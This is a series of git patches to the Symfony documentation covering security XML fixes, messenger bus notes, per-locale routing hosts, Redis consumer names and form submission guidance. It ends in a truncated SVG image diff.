index 70928a65fd5..ed029858d74 100644
--- a/security.rst
+++ b/security.rst
@@ -368,7 +368,6 @@ important section is ``firewalls``:
                 <firewall name="main"
                     anonymous="true"
                     lazy="true"/>
-                </firewall>
             </config>
         </srv:container>
 
diff --git a/security/access_control.rst b/security/access_control.rst
index 95c57f15a85..2f65dc60281 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -65,7 +65,7 @@ Take the following ``access_control`` entries as an example:
                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
             <srv:parameters>
-                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</srv:parameter>
             </srv:parameters>
 
             <config>
diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 269aefe01a0..b7734ef88e0 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -226,6 +226,7 @@ You can configure this using the ``entry_point`` setting:
                     <!-- allow authentication using a form or HTTP basic -->
                     <form-login/>
                     <http-basic/>
+                </firewall>
             </config>
         </srv:container>
 
diff --git a/session/database.rst b/session/database.rst
index 71f85e73efc..4aa1bcb4532 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -90,7 +90,7 @@ and ``RedisProxy``:
                 arguments:
                     - '@Redis'
                     # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # which define the prefix to use for the keys to avoid collision on the Redis server
                     # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                     # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
 
@@ -101,7 +101,7 @@ and ``RedisProxy``:
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
                 <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     which define the prefix to use for the keys to avoid collision on the Redis server
                      and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
@@ -119,7 +119,7 @@ and ``RedisProxy``:
             ->addArgument(
                 new Reference('Redis'),
                 // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
-                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // which define the prefix to use for the keys to avoid collision on the Redis server
                 // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
@@ -601,7 +601,7 @@ configure these values with the second argument passed to the
             $services->set(MongoDbSessionHandler::class)
                 ->args([
                     service('doctrine_mongodb.odm.default_connection'),
-                    ['id_field' => '_guid', 'expiry_field' => 'eol'],,
+                    ['id_field' => '_guid', 'expiry_field' => 'eol'],
                 ])
             ;
         };

From 8f24431abb29db9eaaf26d384c807568db914fd7 Mon Sep 17 00:00:00 2001
From: Maxime Veber <nek.dev@gmail.com>
Date: Mon, 25 May 2020 19:43:26 +0200
Subject: [PATCH 0766/5766] Add a note about allow_no_handlers option

This option was not documented at this state.
---
 messenger/multiple_buses.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 240e9cdc6cc..91ab80879d9 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -105,6 +105,11 @@ This will create three new services:
 
 * ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
 
+.. note::
+
+    The ``allow_no_handlers`` option allows ``event.bus`` to have no handler configured
+    and as a result, it will not end up with error if you define no handler for this bus.
+
 Restrict Handlers per Bus
 -------------------------
 

From 21c296759ec75fd2ae6de57e94c905eb71bf9cfa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 13:02:47 +0200
Subject: [PATCH 0767/5766] Reword

---
 messenger/multiple_buses.rst | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index 91ab80879d9..4ee95c1380d 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -34,6 +34,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                         middleware:
                             - validation
                     event.bus:
+                        # the 'allow_no_handlers' middleware allows to have no handler
+                        # configured for this bus without throwing an exception
                         default_middleware: allow_no_handlers
                         middleware:
                             - validation
@@ -60,6 +62,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                     <framework:bus name="query.bus">
                         <framework:middleware id="validation"/>
                     </framework:bus>
+                    <!-- the 'allow_no_handlers' middleware allows to have no handler
+                         configured for this bus without throwing an exception -->
                     <framework:bus name="event.bus" default-middleware="allow_no_handlers">
                         <framework:middleware id="validation"/>
                     </framework:bus>
@@ -87,6 +91,8 @@ an **event bus**. The event bus could have zero or more subscribers.
                         ],
                     ],
                     'event.bus' => [
+                        // the 'allow_no_handlers' middleware allows to have no handler
+                        // configured for this bus without throwing an exception
                         'default_middleware' => 'allow_no_handlers',
                         'middleware' => [
                             'validation',
@@ -105,11 +111,6 @@ This will create three new services:
 
 * ``event.bus``: autowireable with ``MessageBusInterface $eventBus``.
 
-.. note::
-
-    The ``allow_no_handlers`` option allows ``event.bus`` to have no handler configured
-    and as a result, it will not end up with error if you define no handler for this bus.
-
 Restrict Handlers per Bus
 -------------------------
 

From ebb266c6a92a43657516f743921171401e90b012 Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 12:07:57 +0100
Subject: [PATCH 0768/5766] [Routing] Explain host per locale

---
 routing.rst | 47 +++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 47 insertions(+)

diff --git a/routing.rst b/routing.rst
index bf971924311..7ac8e756036 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2206,6 +2206,53 @@ with a locale. This can be done by defining a different prefix for each locale
             ;
         };
 
+Another common requirement is to host the website on a different domain
+according to the locale. This can be done by defining a different host for each
+locale.
+
+.. versionadded:: 5.1
+
+    The ability to define an array of hosts was introduced in Symfony 5.1.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes/annotations.yaml
+        controllers:
+            resource: '../../src/Controller/'
+            type: annotation
+            host:
+                en: 'https://www.symfony.com'
+                nl: 'https://www.symfony.nl'
+
+    .. code-block:: xml
+
+        <!-- config/routes/annotations.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+            <import resource="../../src/Controller/" type="annotation">
+                <host locale="en">https://www.symfony.com</host>
+                <host locale="nl">https://www.symfony.nl</host>
+            </import>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes/annotations.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+        return function (RoutingConfigurator $routes) {
+            $routes->import('../../src/Controller/', 'annotation')
+                ->host([
+                    'en' => 'https://www.symfony.com',
+                    'nl' => 'https://www.symfony.nl'
+                ])
+            ;
+        };
+
 .. _stateless-routing:
 
 Stateless Routes

From 2ca4b0a73f5f76c2a96b98c05557d847bee4b425 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 14:41:57 +0200
Subject: [PATCH 0769/5766] Minor tweaks

---
 routing.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/routing.rst b/routing.rst
index 5e2d9475cd9..4a05acaf613 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2232,8 +2232,8 @@ locale.
             resource: '../../src/Controller/'
             type: annotation
             host:
-                en: 'https://www.symfony.com'
-                nl: 'https://www.symfony.nl'
+                en: 'https://www.example.com'
+                nl: 'https://www.example.nl'
 
     .. code-block:: xml
 
@@ -2244,8 +2244,8 @@ locale.
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
             <import resource="../../src/Controller/" type="annotation">
-                <host locale="en">https://www.symfony.com</host>
-                <host locale="nl">https://www.symfony.nl</host>
+                <host locale="en">https://www.example.com</host>
+                <host locale="nl">https://www.example.nl</host>
             </import>
         </routes>
 
@@ -2256,8 +2256,8 @@ locale.
         return function (RoutingConfigurator $routes) {
             $routes->import('../../src/Controller/', 'annotation')
                 ->host([
-                    'en' => 'https://www.symfony.com',
-                    'nl' => 'https://www.symfony.nl'
+                    'en' => 'https://www.example.com',
+                    'nl' => 'https://www.example.nl'
                 ])
             ;
         };

From dc6872c47103671b037e6f65ac61f90b405ede84 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 15:03:53 +0200
Subject: [PATCH 0770/5766] Tweaks

---
 messenger.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index f5cbb546adc..e66e5219896 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -628,17 +628,16 @@ times:
 Change the ``async`` argument to use the name of your transport (or transports)
 and ``user`` to the Unix user on your server.
 
-If you use the Redis Transport, note that each worker needs a unique consumer name to
-avoid the same message being handled by multiple workers. One way to achieve this is
-to set an environment variable in the Supervisor configuration file, which you can
-then refer to in `messenger.yaml` (see Redis section above):
+If you use the Redis Transport, note that each worker needs a unique consumer
+name to avoid the same message being handled by multiple workers. One way to
+achieve this is to set an environment variable in the Supervisor configuration
+file, which you can then refer to in ``messenger.yaml`` (see Redis section above):
 
 .. code-block:: ini
 
     environment=MESSENGER_CONSUMER_NAME=%(program_name)s_%(process_num)02d
 
-Next, tell Supervisor to read your
-config and start your workers:
+Next, tell Supervisor to read your config and start your workers:
 
 .. code-block:: terminal
 
@@ -1251,9 +1250,9 @@ claim_interval       Interval on which pending/abandoned    ``60000`` (1 Minute)
 
     There should never be more than one ``messenger:consume`` command running with the same
     combination of ``stream``, ``group`` and ``consumer``, or messages could end up being
-    handled more than once. If you run multiple queue workers, ``consumer` can be set to an
-    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%`)` set by Supervisor
-    (example below) or whatever service used to manage the worker processes.
+    handled more than once. If you run multiple queue workers, ``consumer`` can be set to an
+    environment variable (like ``%env(MESSENGER_CONSUMER_NAME)%``) set by Supervisor
+    (example below) or any other service used to manage the worker processes.
     In a container environment, the ``HOSTNAME`` can be used as the consumer name, since
     there is only one worker per container/host. If using Kubernetes to orchestrate the
     containers, consider using a ``StatefulSet`` to have stable names.

From 60f5034bfd6cbccd31d49623426fe0b0dbaf44af Mon Sep 17 00:00:00 2001
From: Kamil Kubicki <contact@kamil-kubicki.com>
Date: Mon, 15 Jun 2020 17:35:20 +0200
Subject: [PATCH 0771/5766] Update direct_submit.rst

Updating the rules for payload data submission  - payload fields should equal FormType class describing the Form structure
---
 form/direct_submit.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 876ad3964b1..4ff676b39b4 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -59,3 +59,12 @@ control over when exactly your form is submitted and what data is passed to it::
 
         // 'email' and 'username' are added manually to force their validation
         $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false);
+        
+.. caution::
+
+    When submitting a form via a "POST" request and manually submitting the form 
+    with ``submit()``, ensure that list of fields in payload equals the list of validated 
+    fields in FormType class - in other case the form validation will fail.
+
+    //'json' represents payload data (used frequently by api client as React/Angular/Vue etc.)
+    $form->submit(array_merge($json, $request->request->all()));

From 4005b8ff66ac106832bf6958b79f6ffe05897717 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 15:27:55 +0200
Subject: [PATCH 0772/5766] Reword

---
 form/direct_submit.rst | 27 ++++++++++++++++++---------
 1 file changed, 18 insertions(+), 9 deletions(-)

diff --git a/form/direct_submit.rst b/form/direct_submit.rst
index 4ff676b39b4..92dc09c5de5 100644
--- a/form/direct_submit.rst
+++ b/form/direct_submit.rst
@@ -34,6 +34,24 @@ control over when exactly your form is submitted and what data is passed to it::
         ]);
     }
 
+The list of fields submitted with the ``submit()`` method must be the same as
+the fields defined by the form class. Otherwise, you'll see a form validation error::
+
+    public function new(Request $request): Response
+    {
+        // ...
+
+        if ($request->isMethod('POST')) {
+            // '$json' represents payload data sent by React/Angular/Vue
+            // the merge of parameters is needed to submit all form fields
+            $form->submit(array_merge($json, $request->request->all()));
+
+            // ...
+        }
+
+        // ...
+    }
+
 .. tip::
 
     Forms consisting of nested fields expect an array in
@@ -59,12 +77,3 @@ control over when exactly your form is submitted and what data is passed to it::
 
         // 'email' and 'username' are added manually to force their validation
         $form->submit(array_merge(['email' => null, 'username' => null], $request->request->all()), false);
-        
-.. caution::
-
-    When submitting a form via a "POST" request and manually submitting the form 
-    with ``submit()``, ensure that list of fields in payload equals the list of validated 
-    fields in FormType class - in other case the form validation will fail.
-
-    //'json' represents payload data (used frequently by api client as React/Angular/Vue etc.)
-    $form->submit(array_merge($json, $request->request->all()));

From e7cf354dc5aa73fab42a62b53da8459f1a85c7e8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 16:51:30 +0200
Subject: [PATCH 0773/5766] Fixed some typos in some images

---
 ...tom-type-postal-address-fragment-names.svg |   2 +-
 .../form/form-custom-type-postal-address.svg  |   2 +-
 _images/sources/README.md                     |   6 ++++++
 ...tom-type-postal-address-fragment-names.dia | Bin 2578 -> 2580 bytes
 .../form/form-custom-type-postal-address.dia  | Bin 2075 -> 2078 bytes
 5 files changed, 8 insertions(+), 2 deletions(-)

diff --git a/_images/form/form-custom-type-postal-address-fragment-names.svg b/_images/form/form-custom-type-postal-address-fragment-names.svg
index 9b6092c9808..db9463b8327 100644
--- a/_images/form/form-custom-type-postal-address-fragment-names.svg
+++ b/_images/form/form-custom-type-postal-address-fragment-names.svg
@@ -1 +1 @@
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="650" viewBox="0 0 722 514"><defs><symbol overflow="visible" id="a"><path d="M 6.5625 -3.15625 L 3.265625 -3.15625 L 2.4375 0 L -0.0625 0 L 4 -14.09375 L 5.984375 -14.09375 L 10.0625 0 L 7.421875 0 Z M 3.796875 -5.234375 L 6.125 -5.234375 L 5.3125 -8.5 L 5 -10.703125 L 4.921875 -10.703125 L 4.578125 -8.484375 Z M 3.796875 -5.234375"/></symbol><symbol overflow="visible" id="b"><path d="M 8.046875 -3.515625 C 8.046875 -2.960938 8.050781 -2.40625 8.0625 -1.84375 C 8.070312 -1.28125 8.125 -0.660156 8.21875 0.015625 L 6.546875 0.015625 L 6.21875 -1.140625 L 6.140625 -1.140625 C 5.679688 -0.203125 4.890625 0.265625 3.765625 0.265625 C 2.742188 0.265625 1.941406 -0.132812 1.359375 -0.9375 C 0.785156 -1.738281 0.5 -3.039062 0.5 -4.84375 C 0.5 -6.601562 0.8125 -7.9375 1.4375 -8.84375 C 2.0625 -9.757812 2.992188 -10.21875 4.234375 -10.21875 C 4.554688 -10.21875 4.820312 -10.195312 5.03125 -10.15625 C 5.25 -10.113281 5.457031 -10.046875 5.65625 -9.953125 L 5.65625 -14 L 8.046875 -14 Z M 4.3125 -1.921875 C 4.675781 -1.921875 4.960938 -2.007812 5.171875 -2.1875 C 5.390625 -2.363281 5.550781 -2.628906 5.65625 -2.984375 L 5.65625 -7.703125 C 5.519531 -7.816406 5.367188 -7.898438 5.203125 -7.953125 C 5.035156 -8.015625 4.820312 -8.046875 4.5625 -8.046875 C 4.03125 -8.046875 3.628906 -7.800781 3.359375 -7.3125 C 3.085938 -6.832031 2.953125 -5.984375 2.953125 -4.765625 C 2.953125 -3.835938 3.0625 -3.128906 3.28125 -2.640625 C 3.507812 -2.160156 3.851562 -1.921875 4.3125 -1.921875 Z M 4.3125 -1.921875"/></symbol><symbol overflow="visible" id="c"><path d="M 5.578125 -7.640625 C 5.253906 -7.753906 4.960938 -7.8125 4.703125 -7.8125 C 4.335938 -7.8125 4.023438 -7.710938 3.765625 -7.515625 C 3.503906 -7.316406 3.328125 -7.039062 3.234375 -6.6875 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.6875 -10 L 2.953125 -8.796875 L 3.046875 -8.796875 C 3.210938 -9.234375 3.457031 -9.578125 3.78125 -9.828125 C 4.113281 -10.078125 4.492188 -10.203125 4.921875 -10.203125 C 5.242188 -10.203125 5.554688 -10.132812 5.859375 -10 Z M 5.578125 -7.640625"/></symbol><symbol overflow="visible" id="d"><path d="M 7.625 -0.734375 C 7.289062 -0.441406 6.835938 -0.203125 6.265625 -0.015625 C 5.691406 0.171875 5.085938 0.265625 4.453125 0.265625 C 3.765625 0.265625 3.171875 0.144531 2.671875 -0.09375 C 2.171875 -0.332031 1.757812 -0.675781 1.4375 -1.125 C 1.113281 -1.582031 0.875 -2.132812 0.71875 -2.78125 C 0.570312 -3.4375 0.5 -4.175781 0.5 -5 C 0.5 -6.800781 0.851562 -8.128906 1.5625 -8.984375 C 2.28125 -9.847656 3.273438 -10.28125 4.546875 -10.28125 C 4.972656 -10.28125 5.382812 -10.21875 5.78125 -10.09375 C 6.175781 -9.96875 6.53125 -9.753906 6.84375 -9.453125 C 7.15625 -9.148438 7.410156 -8.75 7.609375 -8.25 C 7.804688 -7.75 7.90625 -7.117188 7.90625 -6.359375 C 7.90625 -6.066406 7.882812 -5.753906 7.84375 -5.421875 C 7.8125 -5.085938 7.765625 -4.726562 7.703125 -4.34375 L 2.84375 -4.34375 C 2.863281 -3.507812 3.035156 -2.875 3.359375 -2.4375 C 3.679688 -2 4.195312 -1.78125 4.90625 -1.78125 C 5.332031 -1.78125 5.71875 -1.847656 6.0625 -1.984375 C 6.414062 -2.117188 6.6875 -2.257812 6.875 -2.40625 Z M 4.5 -8.234375 C 3.988281 -8.234375 3.609375 -8.03125 3.359375 -7.625 C 3.109375 -7.21875 2.960938 -6.648438 2.921875 -5.921875 L 5.6875 -5.921875 C 5.71875 -6.679688 5.632812 -7.253906 5.4375 -7.640625 C 5.238281 -8.035156 4.925781 -8.234375 4.5 -8.234375 Z M 4.5 -8.234375"/></symbol><symbol overflow="visible" id="e"><path d="M 4.21875 -2.65625 C 4.21875 -2.9375 4.128906 -3.171875 3.953125 -3.359375 C 3.773438 -3.554688 3.546875 -3.738281 3.265625 -3.90625 C 2.984375 -4.070312 2.6875 -4.242188 2.375 -4.421875 C 2.0625 -4.597656 1.765625 -4.8125 1.484375 -5.0625 C 1.203125 -5.3125 0.96875 -5.613281 0.78125 -5.96875 C 0.601562 -6.332031 0.515625 -6.789062 0.515625 -7.34375 C 0.515625 -8.269531 0.769531 -8.988281 1.28125 -9.5 C 1.789062 -10.007812 2.535156 -10.265625 3.515625 -10.265625 C 4.109375 -10.265625 4.660156 -10.195312 5.171875 -10.0625 C 5.691406 -9.9375 6.109375 -9.78125 6.421875 -9.59375 L 5.859375 -7.765625 C 5.609375 -7.867188 5.300781 -7.96875 4.9375 -8.0625 C 4.582031 -8.164062 4.226562 -8.21875 3.875 -8.21875 C 3.226562 -8.21875 2.90625 -7.945312 2.90625 -7.40625 C 2.90625 -7.144531 2.992188 -6.929688 3.171875 -6.765625 C 3.347656 -6.597656 3.578125 -6.4375 3.859375 -6.28125 C 4.140625 -6.125 4.4375 -5.957031 4.75 -5.78125 C 5.0625 -5.601562 5.359375 -5.382812 5.640625 -5.125 C 5.921875 -4.863281 6.148438 -4.546875 6.328125 -4.171875 C 6.503906 -3.804688 6.59375 -3.347656 6.59375 -2.796875 C 6.59375 -1.878906 6.3125 -1.140625 5.75 -0.578125 C 5.195312 -0.015625 4.367188 0.265625 3.265625 0.265625 C 2.710938 0.265625 2.171875 0.195312 1.640625 0.0625 C 1.117188 -0.0703125 0.695312 -0.242188 0.375 -0.453125 L 1.046875 -2.375 C 1.316406 -2.21875 1.632812 -2.078125 2 -1.953125 C 2.375 -1.835938 2.757812 -1.78125 3.15625 -1.78125 C 3.46875 -1.78125 3.722656 -1.847656 3.921875 -1.984375 C 4.117188 -2.128906 4.21875 -2.351562 4.21875 -2.65625 Z M 4.21875 -2.65625"/></symbol><symbol overflow="visible" id="g"><path d="M 3.28125 -3.234375 C 3.28125 -2.773438 3.328125 -2.441406 3.421875 -2.234375 C 3.515625 -2.035156 3.664062 -1.9375 3.875 -1.9375 C 4 -1.9375 4.125 -1.945312 4.25 -1.96875 C 4.375 -2 4.519531 -2.050781 4.6875 -2.125 L 4.90625 -0.203125 C 4.738281 -0.0976562 4.460938 0 4.078125 0.09375 C 3.691406 0.1875 3.300781 0.234375 2.90625 0.234375 C 2.238281 0.234375 1.738281 0.0664062 1.40625 -0.265625 C 1.070312 -0.597656 0.90625 -1.160156 0.90625 -1.953125 L 0.90625 -14 L 3.28125 -14 Z M 3.28125 -3.234375"/></symbol><symbol overflow="visible" id="h"><path d="M 1.0625 -10 L 3.4375 -10 L 3.4375 0 L 1.0625 0 Z M 1.203125 -12.8125 C 1.203125 -13.21875 1.328125 -13.550781 1.578125 -13.8125 C 1.828125 -14.070312 2.1875 -14.203125 2.65625 -14.203125 C 3.125 -14.203125 3.5 -14.070312 3.78125 -13.8125 C 4.0625 -13.5625 4.203125 -13.226562 4.203125 -12.8125 C 4.203125 -12.40625 4.0625 -12.082031 3.78125 -11.84375 C 3.5 -11.601562 3.125 -11.484375 2.65625 -11.484375 C 2.1875 -11.484375 1.828125 -11.601562 1.578125 -11.84375 C 1.328125 -12.09375 1.203125 -12.414062 1.203125 -12.8125 Z M 1.203125 -12.8125"/></symbol><symbol overflow="visible" id="i"><path d="M 5.8125 0 L 5.8125 -6.078125 C 5.8125 -6.816406 5.722656 -7.332031 5.546875 -7.625 C 5.378906 -7.914062 5.09375 -8.0625 4.6875 -8.0625 C 4.332031 -8.0625 4.03125 -7.953125 3.78125 -7.734375 C 3.53125 -7.523438 3.347656 -7.257812 3.234375 -6.9375 L 3.234375 0 L 0.859375 0 L 0.859375 -10 L 2.765625 -10 L 3.046875 -8.84375 L 3.09375 -8.84375 C 3.332031 -9.226562 3.660156 -9.554688 4.078125 -9.828125 C 4.492188 -10.097656 5.035156 -10.234375 5.703125 -10.234375 C 6.097656 -10.234375 6.453125 -10.171875 6.765625 -10.046875 C 7.078125 -9.929688 7.335938 -9.738281 7.546875 -9.46875 C 7.765625 -9.195312 7.925781 -8.832031 8.03125 -8.375 C 8.144531 -7.914062 8.203125 -7.34375 8.203125 -6.65625 L 8.203125 0 Z M 5.8125 0"/></symbol><symbol overflow="visible" id="j"><path d="M 1.734375 -2.125 L 4.015625 -2.125 L 4.015625 -9.984375 L 4.28125 -11.34375 L 3.453125 -10.15625 L 2.140625 -9.140625 L 1.046875 -10.484375 L 4.90625 -14.234375 L 6.296875 -14.234375 L 6.296875 -2.125 L 8.546875 -2.125 L 8.546875 0 L 1.734375 0 Z M 1.734375 -2.125"/></symbol><symbol overflow="visible" id="E"><path d="M 8.046875 -10.640625 C 8.046875 -9.941406 7.941406 -9.226562 7.734375 -8.5 C 7.535156 -7.78125 7.28125 -7.070312 6.96875 -6.375 C 6.65625 -5.6875 6.3125 -5.023438 5.9375 -4.390625 C 5.5625 -3.765625 5.195312 -3.210938 4.84375 -2.734375 L 3.953125 -1.921875 L 3.953125 -1.8125 L 5.15625 -2.125 L 8.265625 -2.125 L 8.265625 0 L 1.234375 0 L 1.234375 -1.375 C 1.515625 -1.726562 1.816406 -2.125 2.140625 -2.5625 C 2.472656 -3.007812 2.800781 -3.484375 3.125 -3.984375 C 3.457031 -4.484375 3.773438 -5.003906 4.078125 -5.546875 C 4.390625 -6.085938 4.660156 -6.628906 4.890625 -7.171875 C 5.117188 -7.710938 5.300781 -8.242188 5.4375 -8.765625 C 5.582031 -9.285156 5.644531 -9.769531 5.625 -10.21875 C 5.644531 -10.78125 5.519531 -11.234375 5.25 -11.578125 C 4.988281 -11.921875 4.570312 -12.09375 4 -12.09375 C 3.664062 -12.09375 3.320312 -12.015625 2.96875 -11.859375 C 2.625 -11.710938 2.332031 -11.53125 2.09375 -11.3125 L 1.1875 -13.0625 C 1.625 -13.4375 2.117188 -13.734375 2.671875 -13.953125 C 3.234375 -14.171875 3.894531 -14.28125 4.65625 -14.28125 C 5.132812 -14.28125 5.582031 -14.203125 6 -14.046875 C 6.414062 -13.890625 6.769531 -13.660156 7.0625 -13.359375 C 7.363281 -13.054688 7.601562 -12.675781 7.78125 -12.21875 C 7.957031 -11.769531 8.046875 -11.242188 8.046875 -10.640625 Z M 8.046875 -10.640625"/></symbol><symbol overflow="visible" id="L"><path d="M 8.84375 -0.5625 C 8.488281 -0.269531 8.019531 -0.0546875 7.4375 0.078125 C 6.863281 0.210938 6.289062 0.28125 5.71875 0.28125 C 5 0.28125 4.328125 0.160156 3.703125 -0.078125 C 3.085938 -0.328125 2.546875 -0.738281 2.078125 -1.3125 C 1.609375 -1.894531 1.238281 -2.648438 0.96875 -3.578125 C 0.707031 -4.515625 0.578125 -5.660156 0.578125 -7.015625 C 0.578125 -8.429688 0.726562 -9.601562 1.03125 -10.53125 C 1.332031 -11.46875 1.722656 -12.210938 2.203125 -12.765625 C 2.691406 -13.316406 3.25 -13.707031 3.875 -13.9375 C 4.5 -14.164062 5.132812 -14.28125 5.78125 -14.28125 C 6.4375 -14.28125 7.003906 -14.222656 7.484375 -14.109375 C 7.972656 -14.003906 8.375 -13.890625 8.6875 -13.765625 L 8.1875 -11.546875 C 7.925781 -11.671875 7.625 -11.769531 7.28125 -11.84375 C 6.945312 -11.914062 6.546875 -11.953125 6.078125 -11.953125 C 5.160156 -11.953125 4.453125 -11.550781 3.953125 -10.75 C 3.460938 -9.957031 3.21875 -8.707031 3.21875 -7 C 3.21875 -6.269531 3.273438 -5.597656 3.390625 -4.984375 C 3.503906 -4.378906 3.679688 -3.859375 3.921875 -3.421875 C 4.171875 -2.984375 4.484375 -2.644531 4.859375 -2.40625 C 5.242188 -2.164062 5.703125 -2.046875 6.234375 -2.046875 C 6.703125 -2.046875 7.101562 -2.109375 7.4375 -2.234375 C 7.769531 -2.359375 8.070312 -2.507812 8.34375 -2.6875 Z M 8.84375 -0.5625"/></symbol><symbol overflow="visible" id="M"><path d="M 0.078125 -10 L 1.1875 -10 L 1.1875 -11.875 L 3.5625 -12.625 L 3.5625 -10 L 5.5 -10 L 5.5 -7.875 L 3.5625 -7.875 L 3.5625 -3.515625 C 3.5625 -2.941406 3.617188 -2.535156 3.734375 -2.296875 C 3.847656 -2.054688 4.050781 -1.9375 4.34375 -1.9375 C 4.539062 -1.9375 4.71875 -1.957031 4.875 -2 C 5.039062 -2.039062 5.21875 -2.101562 5.40625 -2.1875 L 5.703125 -0.28125 C 5.410156 -0.132812 5.066406 -0.015625 4.671875 0.078125 C 4.285156 0.179688 3.878906 0.234375 3.453125 0.234375 C 2.691406 0.234375 2.125 0.015625 1.75 -0.421875 C 1.375 -0.859375 1.1875 -1.597656 1.1875 -2.640625 L 1.1875 -7.875 L 0.078125 -7.875 Z M 0.078125 -10"/></symbol><symbol overflow="visible" id="N"><path d="M 4.0625 -4.375 L 4.3125 -2.8125 L 4.421875 -2.8125 L 4.59375 -4.40625 L 5.765625 -10 L 8.203125 -10 L 5.703125 -0.984375 C 5.472656 -0.191406 5.257812 0.515625 5.0625 1.140625 C 4.863281 1.765625 4.648438 2.296875 4.421875 2.734375 C 4.191406 3.179688 3.929688 3.519531 3.640625 3.75 C 3.359375 3.976562 3.019531 4.09375 2.625 4.09375 C 2.34375 4.09375 2.070312 4.066406 1.8125 4.015625 C 1.550781 3.972656 1.328125 3.898438 1.140625 3.796875 L 1.546875 1.765625 C 1.710938 1.828125 1.882812 1.851562 2.0625 1.84375 C 2.25 1.84375 2.414062 1.773438 2.5625 1.640625 C 2.71875 1.515625 2.851562 1.316406 2.96875 1.046875 C 3.09375 0.785156 3.195312 0.4375 3.28125 0 L -0.203125 -10 L 2.65625 -10 Z M 4.0625 -4.375"/></symbol><symbol overflow="visible" id="O"><path d="M 0.421875 -2.3125 L 5.09375 -10.859375 L 5.9375 -11.6875 L 0.421875 -11.6875 L 0.421875 -14 L 8.484375 -14 L 8.484375 -11.6875 L 3.78125 -3.078125 L 2.953125 -2.3125 L 8.484375 -2.3125 L 8.484375 0 L 0.421875 0 Z M 0.421875 -2.3125"/></symbol><symbol overflow="visible" id="P"><path d="M 1.125 -14 L 3.640625 -14 L 3.640625 0 L 1.125 0 Z M 1.125 -14"/></symbol><symbol overflow="visible" id="Q"><path d="M 0.90625 -13.859375 C 1.382812 -13.960938 1.910156 -14.046875 2.484375 -14.109375 C 3.054688 -14.171875 3.628906 -14.203125 4.203125 -14.203125 C 4.816406 -14.203125 5.421875 -14.144531 6.015625 -14.03125 C 6.609375 -13.914062 7.132812 -13.691406 7.59375 -13.359375 C 8.0625 -13.023438 8.441406 -12.554688 8.734375 -11.953125 C 9.035156 -11.347656 9.1875 -10.554688 9.1875 -9.578125 C 9.1875 -8.703125 9.0625 -7.957031 8.8125 -7.34375 C 8.5625 -6.726562 8.226562 -6.226562 7.8125 -5.84375 C 7.40625 -5.457031 6.929688 -5.175781 6.390625 -5 C 5.847656 -4.820312 5.289062 -4.734375 4.71875 -4.734375 C 4.664062 -4.734375 4.578125 -4.734375 4.453125 -4.734375 C 4.335938 